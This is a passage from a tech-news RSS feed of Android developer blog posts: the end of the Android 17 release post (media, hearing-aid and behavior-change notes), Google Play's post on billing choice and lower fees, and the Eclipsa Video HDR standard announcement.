<p>These enhanced privacy protections are automatically supported byAndroid's built-in SDK components and will be supported in Compose 1.12 for SecureTextFields. </p>

<h3><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s798/Hide%20First%20Letter.gif"><img border="0" data-original-height="449" data-original-width="798" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFjWXyRLybiLVAIrIm1_60XHXhPmpB1QEph7AuqsGHs-NihIDRFbUgBh32gUKxo30173W-RpEInX9hmYFVnW5V8ZqtM3n_CzxlT0B0PVQr0LSOuOi7x2kZgN_jHRRlYJ7bYInZllvUGNoA_SrXkNi5wwHvUghUcnl0Gsgx_-ts4QEHq_KdbEYgWCg92xA/s16000/Hide%20First%20Letter.gif"></a></div></h3><h3><br></h3><h3><br></h3><h3><br></h3><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><i><div><i>Smarter password protection for physical inputs</i></div></i><div><br></div><h2>Media and camera features that empower creators and delight users
</h2><p>Android 17 introduces new <a href="https://blog.google/products-and-platforms/platforms/android/android-17-creator-features/">creator features</a> that give access to pro-quality cameras and media, all while improving the experience for consumers.</p>

<ul>
  <li><a href="https://developer.android.com/media/platform/integrate-eclipsa-video">Eclipsa Video</a>: HDR video standard built upon the <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a> that introduces new metadata to help devices adapt content for their display headroom and ambient light conditions, as well as improve the simultaneous display of standard and HDR content.</li>
  <li>RAW14 image format: New support for the <a href="https://developer.android.com/reference/kotlin/android/graphics/ImageFormat#raw14">RAW14 image format</a> provides a way for your professional camera app to capture the highest level of detail and color depth from compatible camera sensors.</li>
  <li>Vendor-defined camera extensions: Vendor-defined extensions enable hardware partners to define and implement custom camera extension modes, providing access to the best and latest camera features.</li>
  <li>Extended HE-AAC software encoder: A new system-provided Extended HE-AAC software encoder, supports both low and high bitrates using unified speech and audio coding, providing significantly better audio quality for voice messages in low-bandwidth conditions, including support for loudness metadata.</li>
  <li><a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">Versatile Video Coding (H.266)</a>:  Enables OEMs to add codec support by defining the <a href="https://developer.android.com/guide/topics/media/media-formats#video-formats">video/vvc</a> MIME type in <a href="https://developer.android.com/reference/android/media/MediaFormat"><code>MediaFormat</code></a>, adding new VVC profiles in <a href="https://developer.android.com/reference/android/media/MediaCodecInfo"><code>MediaCodecInfo</code></a>, and integrating support into <a href="https://developer.android.com/reference/android/media/MediaExtractor"><code>MediaExtractor</code></a>.</li>
  <li>Camera device type: New APIs that query the underlying device type to identify if a camera is built-in hardware, an external USB webcam, or a virtual camera.</li>
  <li>Constant Quality for Video Recording: <a href="https://developer.android.com/reference/android/media/MediaRecorder#setVideoEncodingQuality(int)"><code>SetVideoEncodingQuality</code></a> in <a href="https://developer.android.com/reference/android/media/MediaRecorder"><code>MediaRecorder</code></a> configures a constant quality (CQ) mode for video encoders to ensure uniform visual fidelity across the entire video.</li>
</ul>

<h2>Better support for hearing aids</h2>
<ul>
  <li>Bluetooth LE Audio hearing aid support: Android now includes a specific device category for Bluetooth Low Energy (BLE) Audio hearing aids with the new <a href="https://developer.android.com/reference/android/media/AudioDeviceInfo#TYPE_BLE_HEARING_AID"><code>AudioDeviceInfo.TYPE_BLE_HEARING_AID</code></a> constant, so your app can distinguish hearing aids from regular headsets to provide a tailored experience for users with assistive listening devices.</li>
  <li>Granular audio routing for hearing aids: Android 17 allows users to independently manage where specific system sounds are played. They can choose to route notifications, ringtones, and alarms to connected hearing aids or the device's built-in speaker, helping to avoid unwanted in-ear interruptions while maintaining a Bluetooth connection for hearing aid management apps.</li>
</ul>

<h2>CameraX and  Media3</h2>
<p><a href="https://developer.android.com/jetpack/androidx/releases/camerax">CameraX</a> and <a href="https://developer.android.com/jetpack/androidx/releases/media3">Media3</a> have been updated for Android 17. They are there to do the heavy lifting, smoothing the rough edges of media development and simplifying building reliable camera capture,  smooth media playback, and creative and complex editing experiences. </p>

<p>We've released an <a href="https://github.com/android/skills/tree/main/camera">agent skill</a> that can migrate legacy Android camera implementations (Camera1 or raw Camera2 APIs) to CameraX.</p>
  
<p>Note: You'll need to update your CameraX version to either 1.5.2 or 1.6.0+ to avoid a crash related to an added dynamic range mode on Android 17 devices.</p>

<h3>Get your apps, libraries, tools, and game engines ready!</h3>
<p>If you develop an Android SDK, library, tool, or game engine, it's critical to prepare any necessary updates now to prevent your downstream app and game developers from being blocked by compatibility issues and allow them to target the latest SDK features. Please let your downstream developers know if updates are needed to fully support Android 17.</p>

<p>Testing involves installing your production app or a test app making use of your library or engine using Google Play or other means onto a device or emulator running Android 17 Beta 4. Work through all your app's flows and look for functional or UI issues. Each release of Android contains platform changes that improve privacy, security, and overall user experience; review the app impacting behavior changes for apps <a href="https://developer.android.com/about/versions/17/behavior-changes-all">running on</a> and <a href="https://developer.android.com/about/versions/17/behavior-changes-17">targeting</a> Android 17 to focus your testing, including the following:</p>
<ul>
  <li>Resizability on large screens: Once you target Android 17 (SDK 37), you can no longer opt out of maintaining orientation, resizability and aspect ratio constraints <a href="https://developer.android.com/about/versions/17/changes/ff-restrictions-ignored">on large screens</a>.</li>
  <li>Dynamic code loading: If your app targets SDK 37 or higher, the Safer Dynamic Code Loading (DCL) protection <a href="https://developer.android.com/about/versions/14/behavior-changes-14#safer-dynamic-code-loading">introduced in Android 14 </a>for DEX and JAR files now extends to native libraries. All native files loaded using System.load() must be marked as read-only. Otherwise, the system throws UnsatisfiedLinkError.</li>
  <li>Enable CT by default: <a href="https://developer.android.com/privacy-and-security/security-config#CertificateTransparencySummary">Certificate transparency (CT)</a> is enabled by default. (On Android 16, CT is available but apps had to <a href="https://developer.android.com/privacy-and-security/security-config#certificateTransparency">opt in</a>.)</li>
  <li>Local network protections: Apps targeting SDK 37 or higher have <a href="https://developer.android.com/privacy-and-security/local-network-permission#android-17-enforcement">local network access blocked by default</a>. Switch to using privacy preserving pickers if possible, and use the new <a href="https://developer.android.com/reference/kotlin/android/Manifest.permission#access_local_network"><b><code>ACCESS_LOCAL_NETWORK</code></b>permission for broad, persistent access.</a></li>
  <li>Background audio hardening: Starting in Android 17, the audio framework enforces <a href="https://developer.android.com/about/versions/17/changes/bg-audio">restrictions on background audio interactions</a> including audio playback, <a href="https://developer.android.com/media/optimize/audio-focus">audio focus</a> requests, and <a href="https://developer.android.com/reference/android/media/AudioManager#adjustStreamVolume(int,%20int,%20int)">volume change</a> APIs. Based on your feedback, we’ve made some changes since beta 2, including targetSDK gating while-in-use FGS enforcement and exempting alarm audio. Full details available in the <a href="https://developer.android.com/about/versions/17/changes/bg-audio">updated guidance</a>.</li>
  <li>NPU access declaration: Apps targeting Android 17 that need to directly access the NPU must declare <a href="https://developer.android.com/reference/kotlin/android/content/pm/PackageManager#feature_neural_processing_unit">FEATURE_NEURAL_PROCESSING_UNIT</a> in their manifest to avoid being blocked from accessing the NPU. This includes apps that use the <a href="https://ai.google.dev/edge/litert/next/npu">LiteRT NPU delegate</a>, vendor-specific SDKs, as well as the deprecated <a href="https://developer.android.com/ndk/guides/neuralnetworks">NNAPI</a>.</li>
</ul>

<h3>Get started with Android 17</h3>
<p>Your Pixel device should get Android 17 shortly if you haven't already been on the Android Beta. If you don’t have a Pixel device, you can <a href="https://developer.android.com/about/versions/17/get#on_emulator">use the 64-bit system images with the Android Emulator</a> in Android Studio. If you are currently on Android 17 Beta 4.1 and have not yet taken an Android 17 QPR1 beta, you can opt out of the program and you will then be offered the release version of Android 17 over the air.</p>
<h3>Getting the Android 17 beta on partner devices</h3>
<p>Android 17 is available in beta on handset, tablet, and foldable form factors <a href="https://developer.android.com/about/versions/17/devices">from partners</a> including Honor, iQOO, Lenovo, OnePlus, OPPO, Realme, Sharp, vivo, and Xiaomi.</p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s1653/android-17-beta-partners.jpg"><img border="0" data-original-height="624" data-original-width="1653" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy5cwRcpdR2j-1KMzQPpsxvIODRLlVkaFNQEIQoNaPQa4X4rgEna5imminlwFdcSJ3xihXdUSFouOC0-ZKyK1A53cBmoaU03au-FjfsqkPXm0tPLtOaWT_7z8tqnMmQjFOr-YIKeP3BMVq8Hmd7yH0zllW1aFMuiW6AAAcDUVL7aIyCAIZUs0d_0VMdF4/s16000/android-17-beta-partners.jpg"></a></div><br><h3><br></h3>

<p>For the best development experience with Android 17, we recommend that you use the latest Canary build of <a href="https://developer.android.com/studio/preview">Android Studio Quail</a>. Once you’re set up, here are some of the things you should do:</p>
<p>Test your current app for compatibility, learn whether your app is <a href="https://developer.android.com/about/versions/17/behavior-changes-all">affected by changes in Android 17</a>, and install your app onto a device or <a href="https://developer.android.com/studio/run/emulator">Android Emulator</a> running Android 17 and extensively test it.</p>

<p>Thank you again to everyone who participated in our Android developer preview and beta program. We're looking forward to seeing how your apps take advantage of the updates in Android 17, and have plans to bring you updates in a fast-paced release cadence going forward.</p>
<p>For complete information on Android 17 please visit the <a href="https://developer.android.com/about/versions/17">Android 17 developer site</a>.</p><br><br>]]></content:encoded>
</item>
<item>
<title><![CDATA[Expanded billing choice and lower fees on Google Play]]></title>
<description><![CDATA[Posted by Paul Feng, Vice President, Google Play Eng, Product, UX

At Google Play, we are committed to delivering the best possible experience to users, while ensuring developers have the tools and adaptability to succeed. Guided by this commitment, earlier this year we announced updates to our b...]]></description>
<link>https://tsecurity.de/de/3693502/android-tipps/expanded-billing-choice-and-lower-fees-on-google-play/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693502/android-tipps/expanded-billing-choice-and-lower-fees-on-google-play/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:32 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUB5FJxvJIARbdD14jKJu4Jg0uzjczgDxybt5NlviqF_vL91B0GzqNHTcURyCT1nUJgc22LmhvXBk_E2UOXvLqXN_dZfs0YrlbMrl3ZJ_CYcn4W4qoTUhU5k0Y8DhoXltMRMUGQN7uzj6pH4qV1dtRCR6tAKpjmH3Ys_94xqHgR6SfHMpAplFgz8ClGG8/s8533/Apps%20Experience_Play%20Blog%20MetadataCard__2048x1323.jpg"><p></p><p><i>Posted by Paul Feng, Vice President, Google Play Eng, Product, UX</i></p><p></p>

<p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0NArBxSwBOPGYLZKJ4BxhB3rjkTq6RrZ6XBJk2e57TVQ_mSCJ1nw5JAegk0dmX-MEW0ArHvvr2pX8zdXKuJjIXsTgDx7i9W-EoRtS0rHLeGPjMnOvryY2f02czLEBxANuCYYa9ryEr46_6xJ9PQNkHL1MWh-hEHwZAbCGYj-JcdCunZGva5WpFFHCtYA/s4210/Blogger%20Header%20asset%20-%204209%20x%201253%20px.jpg"><img border="0" data-original-height="1254" data-original-width="4210" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj0NArBxSwBOPGYLZKJ4BxhB3rjkTq6RrZ6XBJk2e57TVQ_mSCJ1nw5JAegk0dmX-MEW0ArHvvr2pX8zdXKuJjIXsTgDx7i9W-EoRtS0rHLeGPjMnOvryY2f02czLEBxANuCYYa9ryEr46_6xJ9PQNkHL1MWh-hEHwZAbCGYj-JcdCunZGva5WpFFHCtYA/s16000/Blogger%20Header%20asset%20-%204209%20x%201253%20px.jpg"></a></div><br><br>At Google Play, we are committed to delivering the best possible experience to users, while ensuring developers have the tools and adaptability to succeed. Guided by this commitment, <a href="https://android-developers.googleblog.com/2026/03/a-new-era-for-choice-and-openness.html">earlier this year</a> we announced updates to our business model introducing more billing flexibility, lower fees, and new programs to help your business thrive. <br><br>With some of these changes rolling out soon, the breakdown below outlines what is coming, where to find more information, key dates, and how to get started.

<h2>More billing flexibility</h2>

Google Play’s billing system safely, efficiently, and intuitively handles the complexities of taxes, compliance, and subscriptions across 195+ markets with 300+ local payment methods. However, we understand there are situations where your business needs more flexibility, and that's why we're offering you more options in how you handle digital commerce.<p></p><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicLIK5NuRI6Rf-N_scGYqy-xAMyFOrJRo-nJOjqBYQW3Fizevf5Mk3mKnNRlJWdEWKKQ3oM_whpPuVOABM9Nf8bZwkfGQ_12p4mgQDvO40ornXa_1OxyP_4okmNfbcOyXdq47nx7o11Q_D7BRe5nRBGt2tNWFhe_eAEIgFC-kFdZH8K8j0gfeWZUAuS1Y/s8000/MM6_Offer%20alt%20billing.jpg"><img border="0" data-original-height="4500" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicLIK5NuRI6Rf-N_scGYqy-xAMyFOrJRo-nJOjqBYQW3Fizevf5Mk3mKnNRlJWdEWKKQ3oM_whpPuVOABM9Nf8bZwkfGQ_12p4mgQDvO40ornXa_1OxyP_4okmNfbcOyXdq47nx7o11Q_D7BRe5nRBGt2tNWFhe_eAEIgFC-kFdZH8K8j0gfeWZUAuS1Y/s16000/MM6_Offer%20alt%20billing.jpg"></a></div><br><p></p>

<br><br>Building from existing programs, the new billing choice program is available to all developers globally who provide digital services or content to users within the United Kingdom and the European Economic Area, alongside programs in the United States. Following this initial phase, we will continue expanding availability to additional markets. You will find the global release schedule at the bottom of this post.<br><br>Through these programs, developers can offer an alternative billing system or link users to their own website for purchases, alongside Google Play’s billing. You may also design your own choice screen in accordance with our UX guidelines, as an alternative to Google Play’s default version.<br><br>Please find all the details in the <a href="https://support.google.com/googleplay/android-developer/answer/17161464">program page here</a>.

<h2>Lower, separate fees</h2>To enable this new level of flexibility, we're separating our service fee from the billing fee. This starts on June 30, 2026, beginning with the United States, European Economic Area, and United Kingdom.<br><br>Regardless of whether you use Google Play's billing system, alternative billing, or external web links, the service fee starts at 10% on your first $1M (USD) in annual earnings. This 10% service fee also applies to all auto-renewing subscriptions. For all other transactions, the rates in the table below applies:<div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaTaAgjv7m9xtS4DS25hgDQ6oMIQWBw-GQ0bDMv4D_J-W5r7njfSvs7EnSwnJNIZ9oOIqW0w8KqoA4tTOQ2kC_l4K1YsrGt9Dp-4PFKBJGoACzfZPCjE2KBB0PGBjpaWBCguanfdhd-86iPZ3nDL_tZsk-lSYINiyQAreP8HKzBuShqq0BepijI3X6LT0/s8000/MM6%20rate%20card%20without%20border.jpg"><img border="0" data-original-height="4500" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaTaAgjv7m9xtS4DS25hgDQ6oMIQWBw-GQ0bDMv4D_J-W5r7njfSvs7EnSwnJNIZ9oOIqW0w8KqoA4tTOQ2kC_l4K1YsrGt9Dp-4PFKBJGoACzfZPCjE2KBB0PGBjpaWBCguanfdhd-86iPZ3nDL_tZsk-lSYINiyQAreP8HKzBuShqq0BepijI3X6LT0/s16000/MM6%20rate%20card%20without%20border.jpg"></a></div><p></p><br><br><p><br></p>

For other transactions, the service fee will be determined by whether the transacting user's install is new or existing relative to the regional rollout date:<div> 

<ul>
  <li><b>New installs</b>: A transaction from a user whose first-time install or first update of the app from Google Play occurred on or after the date that the new fee structure launched in their region.</li>
  <li><b>Existing installs</b>: A transaction from a user whose first-time install or first update of the app from Google Play occurred before the date that the new fee structure launches in their market.</li></ul><div><br></div>For transactions that use Google Play’s billing system, an additional billing fee applies. In the United States, United Kingdom, and the European Economic Area, the billing fee is set at 5%. We'll announce billing fee details for other markets soon. For transactions processed via alternative billing or external web links, the billing fee does not apply. <br><br>Review<a href="https://support.google.com/googleplay/android-developer/answer/16954621?hl=en"> this Help Center article</a> to understand how these rates apply to your business.

<h2>Games Level Up and Apps Experience program guidelines</h2>We are also excited to announce even more opportunities for partners who deliver exceptional user experiences across the Android ecosystem: the revamped <a href="https://play.google.com/console/about/levelup/">Games Level Up</a> and the new <a href="https://play.google.com/console/about/programs/appsexperience/">Apps Experience</a> program. Detailed guidelines are now available on the respective program websites.<br><br>Apps and games that meet all requirements are eligible for a new program rate card with reduced rates. See the table below for details:<p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6Zf6OFaB1B8MD7DeLJ-znJQUcA3ozQYDUEKzxiJb-32f_zk8bn6Cyi-WbwDPND0osW6FmmaUlfi1ji25thN3kZYXb747mD_KaE6pUf3faA5blqHNFH7qRlp0aNgVvS-bNNLg8L3QTizxXOU0mmblc8RyapiRanHcdocW92FchSLuJnw1HUSYbY2oJfNI/s8000/MM6%20rate%20card%20with%20border.jpg"><img border="0" data-original-height="4500" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi6Zf6OFaB1B8MD7DeLJ-znJQUcA3ozQYDUEKzxiJb-32f_zk8bn6Cyi-WbwDPND0osW6FmmaUlfi1ji25thN3kZYXb747mD_KaE6pUf3faA5blqHNFH7qRlp0aNgVvS-bNNLg8L3QTizxXOU0mmblc8RyapiRanHcdocW92FchSLuJnw1HUSYbY2oJfNI/s16000/MM6%20rate%20card%20with%20border.jpg"></a></div><br><p></p>

Visit the <a href="https://play.google.com/console/about/levelup/">Games Level Up</a> and <a href="https://play.google.com/console/about/programs/appsexperience/">Apps Experience</a> program websites, review the guidelines, and start preparing your games and apps ahead of September 30, 2026, when the program rate cards officially become available.

<h2>Global release schedule</h2>

Evolving our business model requires technical infrastructure and alignment with local regulations, so these updates will roll out on a staggered timeline. To help you plan, here is the previously announced release schedule for each update across all markets:<p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIGtrW01aFRzy0gj7_mHMrJ1TrWHkan3S0aF7HmjhM3QGdpkb9xjJudKp02b6i3jGGjRyE7PYGVPwxIhrM4CdLs_A-P70ugCns-G5x05x3PnAqD7VweBHg7-06bUl4T98OPuGpEXjrAjbwMObraQn8K3uCnr3tr505Os8Keu3H_i4wbWaZNoixFv6_vYw/s8000/MM6%20Release%20Schedule.jpg"><img border="0" data-original-height="4500" data-original-width="8000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIGtrW01aFRzy0gj7_mHMrJ1TrWHkan3S0aF7HmjhM3QGdpkb9xjJudKp02b6i3jGGjRyE7PYGVPwxIhrM4CdLs_A-P70ugCns-G5x05x3PnAqD7VweBHg7-06bUl4T98OPuGpEXjrAjbwMObraQn8K3uCnr3tr505Os8Keu3H_i4wbWaZNoixFv6_vYw/s16000/MM6%20Release%20Schedule.jpg"></a></div><br><p></p>

<p>Here is a quick recap of the resources available to help you get started:</p>

<ul>
  <li>Review the <a href="https://support.google.com/googleplay/android-developer/answer/17161464"><b>billing choice program</b></a>;</li>
  <li>Learn more about <a href="https://support.google.com/googleplay/android-developer/answer/16954621?hl=en"><b>Google Play's lower service fees</b></a>;</li>
  <li>Explore detailed guidelines on the <a href="https://play.google.com/console/about/levelup/"><b>Games Level Up</b></a> and <a href="https://play.google.com/console/about/programs/appsexperience/"><b>Apps Experience</b></a> program websites.</li>
</ul>

<p>We look forward to building the next generation of Google Play experiences together.</p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Eclipsa Video: HDR That Looks Right on Every Screen]]></title>
<description><![CDATA[Posted by Tibian Elsheikh, Product Manager, Android Core Graphics and Jeffrey Jose, Product Manager, Android Core Graphics
We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squ...]]></description>
<link>https://tsecurity.de/de/3693501/android-tipps/eclipsa-video-hdr-that-looks-right-on-every-screen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693501/android-tipps/eclipsa-video-hdr-that-looks-right-on-every-screen/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:30 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhGg9E8BsBcgigJ3Pwhp0Wbd85wffhQKw9jT9eW4_IJHtJsxtaqBqZoWIc4agLIZu9h2eWFEnMgipcv2PnMM2UC9tsZOJp3AMjsOX1KQRoisg5IKTRS20hFOIvJmlViYFz-QOh3-KdyFRIgUaiKs2ehjrJBd9W_yW13aP4xgRQovNCEAviajCLWFTTVrjs/s2469/Eclipsa%20Video%20V01%20White_Meta.png"><div><i>Posted by Tibian Elsheikh, Product Manager, Android Core Graphics and Jeffrey Jose, Product Manager, Android Core Graphics</i></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0slfG8CUVGmPiAUHIXkeIVZGveJMOvf1TorUdONiRYV1THM80OzIIjGV5-bOboEhNz7FB4sTYx72ySEjFhQ4oW97-sLZ4scOX2Sb5BBU9qPMvOXvq2XRj098K7ElBnvy4k68jKELpDZ7vd4NIs2Hud2w14re18dOx7dksdFXRBR_Nd8yOiBrw8cLr_kM/s8583/Eclipsa%20Video%20V02_Blog.png"><img border="0" data-original-height="2601" data-original-width="8583" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg0slfG8CUVGmPiAUHIXkeIVZGveJMOvf1TorUdONiRYV1THM80OzIIjGV5-bOboEhNz7FB4sTYx72ySEjFhQ4oW97-sLZ4scOX2Sb5BBU9qPMvOXvq2XRj098K7ElBnvy4k68jKELpDZ7vd4NIs2Hud2w14re18dOx7dksdFXRBR_Nd8yOiBrw8cLr_kM/s1600/Eclipsa%20Video%20V02_Blog.png"></a></div><br><p><br></p>
<p>We’ve all been there: You’re scrolling through your favorite social media feed in a dim room, and suddenly an HDR video pops up. It’s so intensely bright that you have to squint, or maybe you find yourself turning down your screen brightness just to read the caption. Other times, a video that looks vibrant on your phone looks flat, dark, or washed out when you watch it on your living room TV. </p><p>While High Dynamic Range (HDR) technology was designed to make videos look richer and more lifelike, the lack of unified industry guidelines means that the exact same clip can render in unexpected and jarring ways depending on the display you’re using.</p>

<p>To solve this, we’re introducing Eclipsa Video—a new standard built to make your favorite videos look consistent, balanced, and comfortable on every screen. Eclipsa Video builds on the open <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 specification</a>, which Google developed in collaboration with Apple and NBCUniversal.</p><br><p></p><i><div><i><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLDY0gLjHQYTZZfRzikfPu8P3jZkXhq6Wqo1GFj3CvBh9YaboIDUstPcnV94Qan8nVkXXBlXLm5vSktLM_q9DJIIn_jyeW9LyZchI5Fpm6AD7A5XD3ZRslzBFhJLAvRj589ukW0etBNCg7004SjySw_SYsGkg6dQ8AtgfofOZeFTx8R3H7xWfwAuA-Rqc/s1066/Eclipsa_9-16_Transparent%20(2).gif"><img border="0" data-original-height="1066" data-original-width="600" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLDY0gLjHQYTZZfRzikfPu8P3jZkXhq6Wqo1GFj3CvBh9YaboIDUstPcnV94Qan8nVkXXBlXLm5vSktLM_q9DJIIn_jyeW9LyZchI5Fpm6AD7A5XD3ZRslzBFhJLAvRj589ukW0etBNCg7004SjySw_SYsGkg6dQ8AtgfofOZeFTx8R3H7xWfwAuA-Rqc/w225-h400/Eclipsa_9-16_Transparent%20(2).gif" width="225"></a></div>Sudden brightness spikes during feed scrolling—fixed with Eclipsa Video.</i></div></i><p></p>

<h3><strong><span>More consistency, comfort, and creative control</span></strong></h3>Eclipsa Video moves past individual display guesswork. Instead of leaving it up to your device to interpret a video’s brightness on its own, our format carries precise guidelines that tell compatible displays exactly how to render the image. <br><p>Designed to scale with your hardware, Eclipsa Video provides three core benefits:</p>

<ul>
    <li><strong>A consistent baseline:</strong> Eclipsa Video introduces a shared rulebook for screens. It establishes a consistent benchmark for normal brightness—known as the <b>HDR reference white</b>. This ensures standard text, app interfaces, and standard-range colors remain vibrant and readable without causing uncomfortable screen glare.</li>
    <li><strong>Adaptive headroom:</strong> Screens have different physical brightness limits, or "headroom." Eclipsa Video guides how displays handle highlights dynamically. Bright details remain brilliant on a premium television, while being scaled intelligently on a mobile screen to prevent sudden blinding transitions.</li>
    <li><strong>Preserved creative intent:</strong> Rather than applying a single static setting to an entire video, Eclipsa Video carries adaptive, frame-by-frame instructions. Think of it as a set of digital notes from the creator traveling with the video, ensuring the exact colors, contrast, and mood they graded are preserved on your display.</li></ul>

<div class="separator"><img border="0" data-original-height="1080" data-original-width="2200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEirgS5TsogRUxWbypUiFlWIRuL8nQhdagvc7UHVFjoDG00SjqSrMniKFEys-EzgcrHKi6Am5BrtALEs7px1oaaJ5ciaO7hP0_49i8RuD7uCckjW7jYWrSoFkDlob6dJhL42MPLiBQqAjaPMOMJDEjZjDgvVe0P28fw13RlMNSiMEAlx5XFXCr8o6L8SRo0/s1600/Eclpsa%20Blog%20post%20image-AlphaB.png"><br><div><i>Eclipsa Video preserves true highlight detail on any screen you watch.</i></div></div><h3><strong><span>Built natively into Android 17</span></strong></h3>

<p>Starting with Android 17, support for Eclipsa Video is built directly into the platform. This means a more comfortable, true-to-life HDR experience is coming natively to the phones, tablets, and TVs you rely on every day. The video you capture carries its creative intent with it, and the video you watch is shown exactly the way it was meant to be seen.</p>

<h3><strong><span>Guidelines for developers &amp; creators</span></strong></h3>

<p>We’re inviting the developer and creator ecosystem to help build a more reliable HDR environment:</p>

<ul>
    <li><strong>Get started with implementation:</strong> Learn how to configure playback and capture in your apps with our <a href="https://developer.android.com/media/platform/integrate-eclipsa-video">official guide</a>.</li>
    <li><strong>ExoPlayer &amp; Media3 integration:</strong> Standard playback handling built directly into <a href="https://developer.android.com/media/media3/exoplayer">Jetpack Media3,</a> allowing ExoPlayer to support Eclipsa Video metadata automatically with no additional player configuration.</li>
    <li><strong>Explore open source tools:</strong> View and inspect <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50</a> metadata and dynamic gain curves in real time using <a href="https://webmproject.github.io/hdr-explorer/">HDR Explorer</a>.</li>
</ul>

<h3><strong><span>What’s next</span></strong></h3>

<p>Eclipsa Video is rolling out now, and you’ll see more apps and devices supporting it over time. Because it’s an open standard, any app developer or hardware manufacturer can integrate it to elevate the viewing experience.</p>

<p>Try out the new tools in Android 17, explore the open-source metadata, and let us know what you think on our developer channels. We can’t wait to see what you create.</p>

<h3><strong><span>Notes &amp; Availability</span></strong></h3>
<p><strong>1. Device Compatibility:</strong> Eclipsa Video playback and capture are supported natively on devices running Android 17 (API level 37) and above with HDR displays passing Eclipsa Compliance tests.</p>
<p><strong>2. Developer Resources:</strong> The <a href="https://github.com/SMPTE/st2094-50">SMPTE ST 2094-50 Specification</a> is openly accessible for technical evaluation.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Build intelligent Android apps: Integrate into Android's intelligence system using AppFunctions]]></title>
<description><![CDATA[Posted by Ben Weiss, Senior Developer Relations Engineer, Android Developer RelationsWelcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post, we explored...]]></description>
<link>https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693499/android-tipps/build-intelligent-android-apps-integrate-into-androids-intelligence-system-using-appfunctions/</guid>
<pubDate>Sat, 25 Jul 2026 10:15:27 +0200</pubDate>
<category>🤖 Android Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
